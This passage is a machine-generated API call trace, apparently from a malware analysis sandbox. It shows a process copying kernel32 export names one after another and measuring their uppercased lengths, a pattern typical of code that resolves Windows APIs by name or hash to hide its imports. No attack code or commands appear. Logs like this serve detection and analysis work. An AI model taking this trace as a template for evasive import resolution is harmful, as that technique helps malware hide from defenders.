lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0138.505] lstrlenA (lpString="BACKUPREAD") returned 10 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0138.505] lstrlenA (lpString="BACKUPSEEK") returned 10 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0138.505] lstrlenA (lpString="BACKUPWRITE") returned 11 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0138.505] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0138.505] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0138.505] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0138.505] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0138.505] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0138.505] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0138.506] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0138.506] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0138.506] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0138.506] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0138.506] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0138.506] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0138.506] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0138.506] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0138.506] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0138.506] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0138.506] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0138.506] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0138.506] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0138.506] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0138.506] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0138.506] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0138.506] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0138.506] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0138.506] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0138.506] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0138.507] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0138.507] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0138.507] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0138.507] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0138.507] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0138.507] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0138.507] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0138.507] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0138.507] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0138.507] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0138.507] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0138.507] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0138.507] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0138.507] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0138.507] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0138.507] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0138.507] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0138.507] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0138.507] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0138.507] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0138.507] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0138.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0138.508] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0138.508] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0138.508] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0138.508] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0138.508] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0138.508] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0138.508] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0138.508] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0138.508] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0138.508] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0138.508] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0138.508] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0138.508] lstrlenA (lpString="BEEP") returned 4 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0138.508] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0138.508] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0138.508] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0138.508] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0138.508] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0138.508] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0138.508] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0138.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0138.508] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0138.509] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0138.509] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0138.509] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0138.509] lstrlenA (lpString="CANCELIO") returned 8 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0138.509] lstrlenA (lpString="CANCELIOEX") returned 10 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0138.509] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0138.509] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0138.509] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0138.509] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0138.509] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0138.509] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0138.509] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0138.509] lstrlenA (lpString="CHECKELEVATION") returned 14 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0138.509] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0138.509] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0138.509] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0138.509] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0138.509] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0138.509] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0138.509] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0138.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0138.510] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0138.510] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0138.510] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0138.510] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0138.510] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0138.510] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0138.510] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0138.510] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0138.510] lstrlenA (lpString="CLOSESTATE") returned 10 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0138.510] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0138.510] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0138.510] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0138.510] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0138.510] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0138.510] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0138.510] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0138.510] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0138.510] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0138.510] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0138.510] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0138.510] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0138.511] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0138.511] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0138.511] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0138.511] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0138.511] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0138.511] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0138.511] 